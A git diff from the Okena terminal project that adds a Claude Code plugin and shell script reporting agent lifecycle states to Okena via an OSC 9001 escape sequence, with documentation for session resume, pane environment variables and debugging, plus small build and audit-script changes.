+  `spawn_uninitialized_terminals` consumes the queued session as it gives
+  the pane its new terminal id, and runs the harness's resume command (for
+  Claude Code, `claude --resume <id>`) as the pane's **startup command**,
+  chained after any `on_create` hook so the pane still ends up at an interactive
+  shell. Off by default — when off, the session is still re-attached to the
+  restored pane and shown, just not auto-run.
+
+Consuming the queued entry makes this **exactly-once**: a pane respawned later
+in the same session does not re-resume. And because it hangs off the *spawn*
+path, a pane that re-attaches to a live backend session (tmux/dtach — where the
+agent is still running) is never touched.
+
+Opening a saved session or importing a workspace also re-keys each pane's
+session onto its new terminal id, so the identity survives — but nothing is
+auto-resumed there. Opening a session is a request to open panes, not to re-run
+whatever agent last lived in each of them.
+
+> **What the resume actually resumes.** The record is "the last agent session
+> this pane ever ran", not "what was running at shutdown". There is no
+> `session ended` signal in the protocol — `st=clear` deliberately keeps the
+> session — so a pane where you finished with Claude an hour ago and then used
+> for something else will still relaunch `claude --resume <that id>` on the next
+> start with auto-resume on. Close the pane to drop the record.
+
+Which command resumes a session is **per-harness** (Claude Code, Codex, …),
+selected by the `agent` id through the harness registry — adding a new agent is
+additive, with no core change.
+
+> **Resume argv must be shell-neutral.** The command is composed into the pane's
+> shell line, so `okena_core::agent_harness::resume_command_line` refuses any
+> argv element containing whitespace, quotes, or metacharacters rather than
+> quote per dialect. A harness needing more should ship a launcher script.
+
+The session follows its pane: it moves with a cross-project drag, survives the
+undo window of a soft close, and is dropped on a hard close, a finalized soft
+close, or a shell switch. Sessions whose pane is gone — or whose stored
+`session_id` no longer looks like a UUID — are pruned on load.
+
+## Claude Code integration
+
+The easiest way is the bundled **Claude Code plugin**, which wires up the
+lifecycle hooks for you — no editing of `settings.json`, versioned and cleanly
+uninstallable. The [`integrations/claude-code/`](../integrations/claude-code/)
+directory is a Claude Code plugin marketplace.
+
+From a clone of this repo:
+
+```
+/plugin marketplace add ./integrations/claude-code
+/plugin install okena-lifecycle@okena
+```
+
+Once the marketplace is registered, you can enable the plugin non-interactively
+instead of the second step, in `~/.claude/settings.json`:
+
+```json
+{ "enabledPlugins": { "okena-lifecycle@okena": true } }
+```
+
+This is *not* an alternative to the first step: `@okena` names the marketplace,
+which has to exist before the plugin can resolve.
+
+Then run `claude` inside an Okena pane and watch the tab + AGENTS section react.
+
+The plugin maps Claude Code's lifecycle hooks to agent states:
+
+| Claude Code hook | State | When |
+|------------------|-------|------|
+| `UserPromptSubmit` | `working` | You submit a prompt — the agent starts working. |
+| `PreToolUse` | `working` | The agent is about to run a tool — work resumes. |
+| `PostToolUse` | `working` | A tool finished — work continues. |
+| `Notification` | `blocked` | Claude needs permission or input. |
+| `Stop` | `done` | The agent finished its turn. |
+| `SessionStart` | `clear` | A new/resumed session — reset any stale status. |
+| `SessionEnd` | `clear` | The agent exited — drop it from the Agents list. |
+
+`PreToolUse` / `PostToolUse` are the recovery edges that the obvious four-hook
+mapping is missing: when Claude is `blocked` waiting on you and you answer
+(e.g. a permission grant, or answering a question mid-turn), **no
+`UserPromptSubmit` fires** — that only fires for a fresh prompt. Without a
+"work resumed" signal the pane stays stuck on `blocked` even though the agent is
+busy again. Running a tool fires `PreToolUse` (and later `PostToolUse`), which
+flips it back to `working`. Ordering is safe: for a permission-gated tool the
+sequence is `PreToolUse` (working) → `Notification` (blocked) → you approve →
+tool runs → `PostToolUse` (working), and hooks are awaited so the writes never
+race — the pane correctly shows `blocked` while you're being asked.
+
+The plugin sets `OKENA_AGENT=claude-code` on each hook command, and the script
+mines the hook's stdin event JSON for `session_id` / `transcript_path` and
+forwards them in the reserved `lbl=` keys above — that's how Okena learns the
+pane's Claude session. It uses `jq` when available and falls back to a `sed`
+extraction otherwise, so there is no hard dependency. Only **top-level** keys are
+read: `PreToolUse` / `PostToolUse` payloads embed `tool_input` as nested JSON,
+and a tool argument called `session_id` must not be able to hijack the pane's
+identity.
+
+It bundles `okena-lifecycle/scripts/okena-agent-status.sh`, invoked via
+`${CLAUDE_PLUGIN_ROOT}`. The script writes to the pane's own slave pty — the
+device named by `$OKENA_TTY_FILE`, falling back to `$OKENA_TTY` and then
+`/dev/tty` — see [Choosing the output
+device](#choosing-the-output-device) for why that order. It's a silent no-op
+when there's no device to write to.
+
+> **Caveat — sessions created before the pointer file.** A pane's environment
+> can only be set when the pane is **first launched**, so a `dtach`/`tmux`/
+> `screen` session started by an Okena that predates `$OKENA_TTY_FILE` has no
+> such variable — it still falls back to the frozen `$OKENA_TTY` and can go
+> silent after a restart. Recreating the pane (which starts a new backend
+> session) picks the pointer up; reattaching to the old one does not.
+
+### Manual (without the plugin)
+
+If you'd rather not use the plugin, register the hooks yourself. Copy the script
+somewhere on your `PATH`:
+
+```sh
+install -m 0755 integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh ~/.local/bin/okena-agent-status
+```
+
+…then add to `~/.claude/settings.json`. Note the `OKENA_AGENT=` prefix on every
+command: without it Okena has no harness id, so it drops the session entirely —
+you get the indicator, but no persistence and no resume, with no error.
+
+```json
+{
+  "hooks": {
+    "UserPromptSubmit": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status working" } ] }
+    ],
+    "PreToolUse": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status working" } ] }
+    ],
+    "PostToolUse": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status working" } ] }
+    ],
+    "Notification": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status blocked" } ] }
+    ],
+    "Stop": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status done" } ] }
+    ],
+    "SessionStart": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status clear" } ] }
+    ],
+    "SessionEnd": [
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status clear" } ] }
+    ]
+  }
+}
+```
+
+### Debugging
+
+If a pane's status looks wrong (stale `blocked`, nothing showing), make the
+whole path observable from both ends:
+
+- **The hook end** — set `OKENA_AGENT_STATUS_LOG` to a writable file in the
+  pane's environment. The script then appends one line per invocation recording
+  the state, the target device, where that device came from, and whether the
+  write actually succeeded:
+
+  ```
+  2026-06-23T11:30:01+0200 pid=12345 state=working tty=/dev/pts/7 src=file msglen=0 write=ok
+  ```
+
+  `src=` is the device's source: `file` (`$OKENA_TTY_FILE`, always current),
+  `env` (`$OKENA_TTY`, frozen at spawn — expect it to be stale in a pane that
+  outlived an Okena restart), `ctty` (`/dev/tty`), or `none` (nothing was
+  writable). A `write=failed` line means the OSC never reached Okena;
+  `skip=bad-state` means the state argument wasn't one Okena
+  knows; `skip=no-agent` means a `session_id` was found but `OKENA_AGENT` is
+  unset, so the session is being dropped; no line at all means the hook didn't
+  fire — or, on native Windows, that the script can't run at all.
+
+- **The Okena end** — `okena_terminal::terminal::osc_sidecar` logs every parsed
+  `OSC 9001` at `debug` level (`agent-status[<terminal-id>]: <prev> -> <new>
+  (changed=…, notify=…)`), including ignored/unknown/clear cases, so you can see
+  what Okena received and decided. Raise the log filter to `debug` to see them.
+
+### Other agents
+
+The script is agent-agnostic: anything that can run a command (Codex, a
+Makefile, your own tooling) can call
+`okena-lifecycle/scripts/okena-agent-status.sh <state> [message]` to report into
+Okena. Set `OKENA_AGENT` to your harness id if you also want session capture.
+
+Resuming a captured session needs a harness registered in
+`okena-agent-harnesses`, which maps an `agent` id to the argv that resumes it.
+Claude Code is implemented; Codex is registered but declines to resume until its
+CLI invocation is confirmed, so a Codex session is captured and shown but not
+auto-resumed.
diff --git a/docs/configuration.md b/docs/configuration.md
index b0aaadead..ddad73e4a 100644
--- a/docs/configuration.md
+++ b/docs/configuration.md
@@ -44,6 +44,7 @@ If the file contains invalid JSON, Okena recovers as many fields as possible and
   "default_shell": "Default",
   "show_shell_selector": false,
   "session_backend": "Auto",
+  "auto_resume_agent_sessions": false,
   "file_opener": "",
   "show_focused_border": false,
   "sidebar": {
@@ -102,6 +103,7 @@ If the file contains invalid JSON, Okena recovers as many fields as possible and
 | Key | Type | Default | Description |
 |-----|------|---------|-------------|
 | `session_backend` | string | `"Auto"` | Session persistence backend. Values: `"Auto"`, `"None"`, `"Tmux"`, `"Screen"`, `"Dtach"`. Auto prefers dtach, then tmux, then screen. Not supported on Windows. |
+| `auto_resume_agent_sessions` | bool | `false` | On restore, re-run the captured AI agent session's resume command (e.g. `claude --resume <id>`) as the pane's startup command. Applies when the pane comes back **without** its process, i.e. under `session_backend: "None"` — with a live backend the agent is still running and is left alone. See [Agent Status](agent-status.md#session-resume). |
 
 #### Sidebar
 
diff --git a/docs/hooks.md b/docs/hooks.md
index 29e06eb33..19fbd8a9d 100644
--- a/docs/hooks.md
+++ b/docs/hooks.md
@@ -97,10 +97,27 @@ Available on worktree and merge hooks.
 
 | Variable | Description |
 |----------|-------------|
-| `OKENA_TERMINAL_ID` | Unique ID of the terminal (`terminal.on_close` only) |
+| `OKENA_TERMINAL_ID` | Unique ID of the terminal. Also exported into every pane — see "Pane environment" below. |
 | `OKENA_TERMINAL_NAME` | Custom name of the terminal, if set (`terminal.on_close` only) |
 | `OKENA_EXIT_CODE` | Exit code of the terminal process (`terminal.on_close` only) |
 
+### Pane environment
+
+Three variables are exported into **every** terminal session Okena spawns, not
+just into hook commands. They are a stable contract for third-party tooling —
+the [agent status](agent-status.md) integration is built on them.
+
+| Variable | Description |
+|----------|-------------|
+| `OKENA_TERMINAL_ID` | The pane's terminal id. Echo it back as the `tid=` parameter of an in-band sequence so Okena can drop a status that lands in the wrong pane. |
+| `OKENA_TTY_FILE` | Path of a file naming the pane's **current** slave pty (Unix only). Okena rewrites its contents on every spawn and reattach, so it stays correct for a pane that outlives an Okena restart. Prefer it. |
+| `OKENA_TTY` | The pane's slave pty path as of launch (Unix only). Same device, but frozen — a pane that survives a restart keeps pointing at a pty that now belongs to someone else. Use it only as a fallback. |
+
+Write in-band sequences to the pane's slave pty: it reaches Okena's reader even
+from a process with no controlling terminal, and even through a nested
+tmux/dtach pty. All three are routed through the pane's launch environment, so
+they reach the shell inside a tmux/screen/dtach session as well as a plain one.
+
 ### Conflict variables
 
 | Variable | Description |
diff --git a/docs/remote.md b/docs/remote.md
index c2e533454..00619fe3d 100644
--- a/docs/remote.md
+++ b/docs/remote.md
@@ -78,6 +78,12 @@ Requires `Authorization: Bearer <token>`.
 
 Returns the workspace state with a monotonic `state_version` counter. Clients can detect missed updates by comparing versions.
 
+The example below is a subset of the full project shape. One field worth calling
+out: `terminal_agent_status` maps terminal id → `{ "lifecycle", "custom"?,
+"labels"? }` for panes running an AI agent (see [Agent Status](agent-status.md)).
+It is **runtime-only** — omitted entirely for terminals with no status, and
+absent after a daemon restart — and a change to it bumps `state_version`.
+
 ```json
 {
   "state_version": 42,
@@ -93,7 +99,10 @@ Returns the workspace state with a monotonic `state_version` counter. Clients ca
         "minimized": false,
         "detached": false
       },
-      "terminal_names": {}
+      "terminal_names": {},
+      "terminal_agent_status": {
+        "uuid": { "lifecycle": "working", "custom": "running tests 3/5" }
+      }
     }
   ],
   "focused_project_id": "uuid",
diff --git a/integrations/claude-code/.claude-plugin/marketplace.json b/integrations/claude-code/.claude-plugin/marketplace.json
new file mode 100644
index 000000000..45e451d06
--- /dev/null
+++ b/integrations/claude-code/.claude-plugin/marketplace.json
@@ -0,0 +1,15 @@
+{
+  "name": "okena",
+  "owner": {
+    "name": "Okena"
+  },
+  "description": "Okena integrations for Claude Code.",
+  "plugins": [
+    {
+      "name": "okena-lifecycle",
+      "source": "./okena-lifecycle",
+      "description": "Report Claude Code lifecycle to Okena (tab indicator, sidebar Agents section, desktop notifications) via OSC 9001.",
+      "version": "0.2.0"
+    }
+  ]
+}
diff --git a/integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json b/integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json
new file mode 100644
index 000000000..2de6a2622
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json
@@ -0,0 +1,11 @@
+{
+  "name": "okena-lifecycle",
+  "description": "Report Claude Code lifecycle to Okena via OSC 9001 — drives the tab indicator, the sidebar Agents section, and desktop notifications.",
+  "version": "0.2.0",
+  "author": {
+    "name": "Okena"
+  },
+  "homepage": "https://github.com/contember/okena",
+  "license": "MIT",
+  "keywords": ["okena", "terminal", "agent-status"]
+}
diff --git a/integrations/claude-code/okena-lifecycle/README.md b/integrations/claude-code/okena-lifecycle/README.md
new file mode 100644
index 000000000..3df7b270f
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/README.md
@@ -0,0 +1,47 @@
+# okena-lifecycle — Claude Code plugin
+
+Reports Claude Code's lifecycle to [Okena](https://github.com/contember/okena) so
+the pane's tab, the sidebar **Agents** section, and desktop notifications reflect
+what the agent is doing. It does this by emitting Okena's agent-status escape
+sequence (`OSC 9001`) to the terminal on lifecycle events — no network, no
+config files written, works only inside an Okena pane (a silent no-op elsewhere).
+
+## Install
+
+From a clone of the okena repo (the `integrations/claude-code` dir is the
+marketplace):
+
+```
+/plugin marketplace add ./integrations/claude-code
+/plugin install okena-lifecycle@okena
+```
+
+Or enable it non-interactively in `~/.claude/settings.json`:
+
+```json
+{
+  "enabledPlugins": { "okena-lifecycle@okena": true }
+}
+```
+
+## What it maps
+
+| Claude Code hook | Reported state |
+|------------------|----------------|
+| `UserPromptSubmit` | `working` |
+| `PreToolUse` | `working` (about to run a tool) |
+| `PostToolUse` | `working` (tool finished — work resumes) |
+| `Notification` | `blocked` (needs permission / input) |
+| `Stop` | `done` |
+| `SessionStart` | `clear` (reset stale status) |
+| `SessionEnd` | `clear` (agent exited) |
+
+`PreToolUse` / `PostToolUse` are the recovery edges: when you answer a blocked
+agent (permission grant, or a question mid-turn) Claude Code does **not** fire
+`UserPromptSubmit`, so without them the pane stays stuck on `blocked` while the
+agent is actually busy again.
+
+See [`docs/agent-status.md`](../../../docs/agent-status.md) for the full model,
+the `OSC 9001` wire format, and debugging (the `OKENA_AGENT_STATUS_LOG` env var).
+The bundled `scripts/okena-agent-status.sh` is agent-agnostic — anything that can
+run a command can call it directly.
diff --git a/integrations/claude-code/okena-lifecycle/hooks/hooks.json b/integrations/claude-code/okena-lifecycle/hooks/hooks.json
new file mode 100644
index 000000000..74f529422
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/hooks/hooks.json
@@ -0,0 +1,74 @@
+{
+  "hooks": {
+    "SessionStart": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh clear"
+          }
+        ]
+      }
+    ],
+    "UserPromptSubmit": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh working"
+          }
+        ]
+      }
+    ],
+    "PreToolUse": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh working"
+          }
+        ]
+      }
+    ],
+    "PostToolUse": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh working"
+          }
+        ]
+      }
+    ],
+    "Notification": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh blocked"
+          }
+        ]
+      }
+    ],
+    "Stop": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh done"
+          }
+        ]
+      }
+    ],
+    "SessionEnd": [
+      {
+        "hooks": [
+          {
+            "type": "command",
+            "command": "OKENA_AGENT=claude-code \"${CLAUDE_PLUGIN_ROOT}\"/scripts/okena-agent-status.sh clear"
+          }
+        ]
+      }
+    ]
+  }
+}
diff --git a/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
new file mode 100755
index 000000000..712e0444a
--- /dev/null
+++ b/integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh
@@ -0,0 +1,228 @@
+#!/bin/sh
+# okena-agent-status — report an AI agent's lifecycle to Okena.
+#
+# Writes Okena's agent-status OSC (OSC 9001) to the controlling terminal so the
+# Okena tab + the sidebar "Agents" section reflect what the agent is doing, and
+# so Okena raises a desktop notification when the agent finishes or gets blocked.
+#
+# Usage:
+#   okena-agent-status <working|blocked|done|idle|clear> [message]
+#
+# Designed to be wired up as a Claude Code hook (see docs/agent-status.md), but
+# it's agent-agnostic — anything that can run a command can call it.
+#
+# Output device: prefer the pane's *current* slave pty named by
+# `$OKENA_TTY_FILE`, then the spawn-time `$OKENA_TTY`, then the controlling
+# terminal. See the selection block below for why that order. This drains stdin
+# so a hook feeding event JSON on the pipe never blocks, and is a silent no-op
+# when there's no device to write to — safe to call from anywhere.
+#
+# Debugging: set OKENA_AGENT_STATUS_LOG=/path/to/log to append one line per
+# invocation recording the state, the target device and where it came from, and
+# whether the write actually succeeded. This makes the whole path observable —
+# pair it with Okena's own `okena_terminal::terminal::osc_sidecar` debug logs
+# (the receiving end) to see where a status update is lost. Unset → zero
+# overhead, no file.
+
+state="${1:-}"
+message="${2:-}"
+# Harness id (e.g. "claude-code", "codex"), set by the per-agent hook glue. Used
+# only to tag the captured session in the optional lbl= field; empty is fine.
+agent="${OKENA_AGENT:-}"
+
+# Pane this agent runs in, stamped onto the sequence so Okena can drop a status
+# that reaches the wrong pane. Empty outside Okena — the param is then omitted.
+terminal_id="${OKENA_TERMINAL_ID:-}"
+
+# Pick the device to write to, preferring Okena's own slave pty for this pane.
+#
+# 1. `$OKENA_TTY_FILE` — a stable path whose CONTENTS Okena rewrites on every
+#    spawn and reattach. The only source that stays correct for a pane that
+#    outlives Okena: with a session backend (dtach/tmux/screen) the shell — and
+#    the agent under it — survives a restart, so its environment still holds the
+#    pty of the *previous* run, which Linux has since handed to another pane.
+# 2. `$OKENA_TTY` — the same device, captured once at spawn. Correct until the
+#    pane outlives the Okena that launched it; also the only one an Okena older
+#    than the pointer file exports.
+# 3. `/dev/tty` — last resort. It always resolves to the pane's current pty, but
+#    under a session backend that is the NESTED pty: with `session_backend =
+#    tmux` the pane process is tmux, so a hook's controlling terminal is tmux's
+#    own pty, and tmux forwards only a fixed allowlist of OSC numbers — 9001 is
+#    not on it, so the sequence dies before reaching Okena's reader. Screen
+#    behaves the same way. And a harness that runs its hooks in a new session
+#    (Claude Code does) has no controlling terminal at all.
+#
+# Writing to a device 1 or 2 named means writing to Okena's own slave, which
+# bypasses any nested pty. When both are stale the `tid=` param below contains
+# the damage: Okena drops a status that lands in a recycled pane rather than
+# driving another agent's indicator.
+#
+# Every probe MUST stay in a subshell. POSIX makes a redirection error on a
+# special built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts this
+# script under dash in exactly the case the fallback exists for — and since this
+# runs as a PreToolUse hook, a non-zero exit blocks the tool call.
+tty_dev=""
+tty_src="none"
+
+if [ -n "${OKENA_TTY_FILE:-}" ] && [ -r "$OKENA_TTY_FILE" ]; then
+    live_tty=$(head -n1 "$OKENA_TTY_FILE" 2>/dev/null | tr -d '\r\n')
+    if [ -n "$live_tty" ] && (: >"$live_tty") 2>/dev/null; then
+        tty_dev="$live_tty"
+        tty_src="file"
+    fi
+fi
+
+if [ -z "$tty_dev" ] && [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
+    tty_dev="$OKENA_TTY"
+    tty_src="env"
+fi
+
+if [ -z "$tty_dev" ] && (: >/dev/tty) 2>/dev/null; then
+    tty_dev="/dev/tty"
+    tty_src="ctty"
+fi
+
+# Nothing writable: keep a name so the write below fails as `write=failed` in the
+# log rather than against an empty path.
+if [ -z "$tty_dev" ]; then
+    tty_dev="${OKENA_TTY:-/dev/tty}"
+fi
+
+# Append a debug line when OKENA_AGENT_STATUS_LOG points somewhere writable;
+# a silent no-op otherwise. Never fails the hook.
+log() {
+    [ -n "${OKENA_AGENT_STATUS_LOG:-}" ] || return 0
+    ts=$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null || echo '????')
+    printf '%s pid=%s state=%s tty=%s src=%s %s\n' \
+        "$ts" "$$" "${state:-<none>}" "$tty_dev" "$tty_src" "$1" \
+        >>"$OKENA_AGENT_STATUS_LOG" 2>/dev/null || true
+}
+
+# Capture any hook event JSON on stdin (Claude Code & co. feed it there) so the
+# writer never blocks, then mine it for the agent's session id / transcript path
+# to forward to Okena. No `jq` dependency — a narrow regex over the
+# machine-generated JSON, with a clean fallback to "no session label" when the
+# fields aren't present.
+event=""
+if [ ! -t 0 ]; then
+    event=$(cat 2>/dev/null || true)
+fi
+
+# Reduce $event to just its TOP-LEVEL key/value pairs.
+#
+# The regex below is greedy, so it picks the *last* match on the line — and
+# Claude Code's PreToolUse/PostToolUse payloads embed `tool_input` as nested
+# JSON whose keys are not string-escaped. A tool argument named `session_id` or
+# `transcript_path` (routine for MCP tools) would therefore shadow the real
+# field: the forged value becomes the pane's sticky session, gets persisted, and
+# with auto-resume on becomes the argument to `claude --resume`.
+#
+# Repeatedly collapse the innermost {...} / [...] until only the top level is
+# left. Bounded so a pathological payload can't spin.
+event_top=""
+if [ -n "$event" ]; then
+    event_top=${event#\{}
+    event_top=${event_top%\}}
+    nesting=0
+    while [ "$nesting" -lt 16 ]; do
+        flatter=$(printf '%s' "$event_top" | sed 's/{[^{}]*}/""/g; s/\[[^][]*\]/""/g' 2>/dev/null)
+        [ "$flatter" = "$event_top" ] && break
+        event_top=$flatter
+        nesting=$((nesting + 1))
+    done
+fi
+
+# `jq` gives an exact answer when it's around; the sed path keeps the script
+# dependency-free otherwise.
+has_jq=$(command -v jq 2>/dev/null || true)
+
+# Print the string value of TOP-LEVEL JSON key $1 in $event, or nothing.
+json_str() {
+    if [ -n "$has_jq" ]; then
+        printf '%s' "$event" | jq -r --arg k "$1" '.[$k] // empty' 2>/dev/null
+        return 0
+    fi
+    printf '%s' "$event_top" | sed -n \
+        "s/.*\"$1\"[[:space:]]*:[[:space:]]*\"\([^\"]*\)\".*/\1/p" 2>/dev/null | head -n1
+}
+session_id=$(json_str session_id)
+transcript_path=$(json_str transcript_path)
+
+# Assemble the optional lbl= JSON object only when we actually have a session id
+# (the durable bit Okena persists). Values are JSON-escaped (\\ then ").
+lbl_json=""
+if [ -n "$session_id" ]; then
+    # Okena needs `agent` to know which harness could resume this session, and
+    # drops the whole session without it. Say so rather than emitting a label
+    # object Okena will silently discard.
+    [ -n "$agent" ] || log "skip=no-agent (set OKENA_AGENT to capture the session)"
+    json_escape() { printf '%s' "$1" | sed 's/\\/\\\\/g; s/"/\\"/g' 2>/dev/null; }
+    add_kv() {
+        [ -n "$2" ] || return 0
+        ev=$(json_escape "$2")
+        if [ -n "$lbl_json" ]; then
+            lbl_json="$lbl_json,\"$1\":\"$ev\""
+        else
+            lbl_json="\"$1\":\"$ev\""
+        fi
+    }
+    add_kv agent "$agent"
+    add_kv session_id "$session_id"
+    add_kv transcript_path "$transcript_path"
+fi
+
+# Nothing to do without a state.
+if [ -z "$state" ]; then
+    log "skip=no-state"
+    exit 0
+fi
+
+# `$state` is spliced straight into the parameter list, so accept only the
+# states Okena knows. Without this a caller passing through a less-trusted value
+# could append `;lbl=<b64>` (planting an arbitrary session Okena would persist
+# and later resume) or `;tid=` to retarget the status at another pane — and a
+# plain typo would be dropped by the receiver while still logging `write=ok`.
+case "$state" in
+    working | blocked | done | idle | clear) ;;
+    *)
+        log "skip=bad-state"
+        exit 0
+        ;;
+esac
+
+# Assemble OSC 9001 params: `st` is required; `msg`/`lbl` are optional and
+# base64-encoded so their values stay ';'/ST-safe (the VTE parser splits OSC
+# params on ';').
+params="st=$state"
+# Address the status at our own pane, so Okena can drop it if it lands
+# elsewhere (a stale device path since recycled by another pane). Omitted
+# outside Okena, where the receiver accepts anything.
+if [ -n "$terminal_id" ]; then
+    params="$params;tid=$terminal_id"
+fi
+if [ -n "$message" ]; then
+    msg_b64=$(printf '%s' "$message" | base64 2>/dev/null | tr -d '\n')
+    params="$params;msg=$msg_b64"
+    msg_info="msglen=${#message}"
+else
+    msg_info="msglen=0"
+fi
+if [ -n "$lbl_json" ]; then
+    lbl_b64=$(printf '{%s}' "$lbl_json" | base64 2>/dev/null | tr -d '\n')
+    params="$params;lbl=$lbl_b64"
+    msg_info="$msg_info sid=$session_id"
+fi
+seq=$(printf '\033]9001;%s\033\\' "$params")
+
+# Write to the device, recording success/failure for the debug log. The write is
+# allowed to fail silently (no device, not in Okena) — that's a clean no-op.
+# `2>/dev/null` comes first so a failed-to-open redirection (e.g. no such
+# device) is suppressed too: shell redirections apply left to right, so stderr
+# must already point at /dev/null before the `>"$tty_dev"` open is attempted.
+if printf '%s' "$seq" 2>/dev/null >"$tty_dev"; then
+    log "$msg_info write=ok"
+else
+    log "$msg_info write=failed (device unwritable: $tty_dev)"
+fi
+
+exit 0
diff --git a/scripts/audit-daemon-client-gaps.sh b/scripts/audit-daemon-client-gaps.sh
index d4d0be491..6704bd353 100755
--- a/scripts/audit-daemon-client-gaps.sh
+++ b/scripts/audit-daemon-client-gaps.sh
@@ -128,7 +128,12 @@ PAIRS=(
 #                               ordering, sizing, and layout mode locally in
 #                               window-layout.json; daemon ApiWindow must not
 #                               overwrite those choices.
-CAT2_IGNORE='^(version|service_panel_heights|hook_panel_heights|connection_id|is_remote|service_terminals|hidden_terminals|folder_collapsed|hidden_project_ids|os_bounds|project_layout|project_sort_mode|project_widths|show_attention_section)$'
+# Confirmed client-local / derived, so absent from the wire on purpose:
+#   agent_sessions        — daemon-side durable identity for resume; the wire
+#                           carries the runtime `terminal_agent_status` instead.
+#   pending_agent_resumes — load-time only (`#[serde(skip)]`), consumed during
+#                           restore and never observable by a client.
+CAT2_IGNORE='^(version|service_panel_heights|hook_panel_heights|connection_id|is_remote|service_terminals|hidden_terminals|folder_collapsed|hidden_project_ids|os_bounds|project_layout|project_sort_mode|project_widths|show_attention_section|agent_sessions|pending_agent_resumes)$'
 
 cat2_hits=0
 for pair in "${PAIRS[@]}"; do
diff --git a/scripts/bundle-macos.sh b/scripts/bundle-macos.sh
index 5864c47af..8beff116d 100755
--- a/scripts/bundle-macos.sh
+++ b/scripts/bundle-macos.sh
@@ -58,7 +58,12 @@ echo "    Version: $VERSION"
 # Build if not skipping
 if [[ "$SKIP_BUILD" == false ]]; then
     echo "==> Building release binaries..."
-    cargo build --release --target "$TARGET" -p okena -p okena-daemon
+    # Separate invocations: cargo unifies features across all packages selected
+    # in one invocation, so building these together would enable the `gpui`
+    # feature on the daemon's copy of okena-workspace/okena-app-core and link
+    # GPUI into the binary that is gated to stay free of it.
+    cargo build --release --target "$TARGET" -p okena
+    cargo build --release --target "$TARGET" -p okena-daemon
 fi
 
 # Verify binary exists (check target-specific path first, then default)
diff --git a/src/main.rs b/src/main.rs
index 8dabf2871..e6d1d3550 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -587,6 +587,12 @@ fn main() {
     let headless =
         explicit_headless || (cfg!(target_os = "linux") && listen_addr.is_some() && !has_display);
 
+    // Install the per-harness agent-session registry (resume command + transcript
+    // parsing, dispatched by agent id). gpui-free, so it's shared by BOTH the
+    // desktop and headless paths — do it before the branch below. The standalone
+    // `okena-daemon` binary makes the same call from its own `main`.
+    okena_agent_harnesses::install();
+
     if headless {
         // Self-restart handoff (single-binary `okena --headless` daemon): a
         // daemon restarting itself spawns this process with `--await-pid <old>`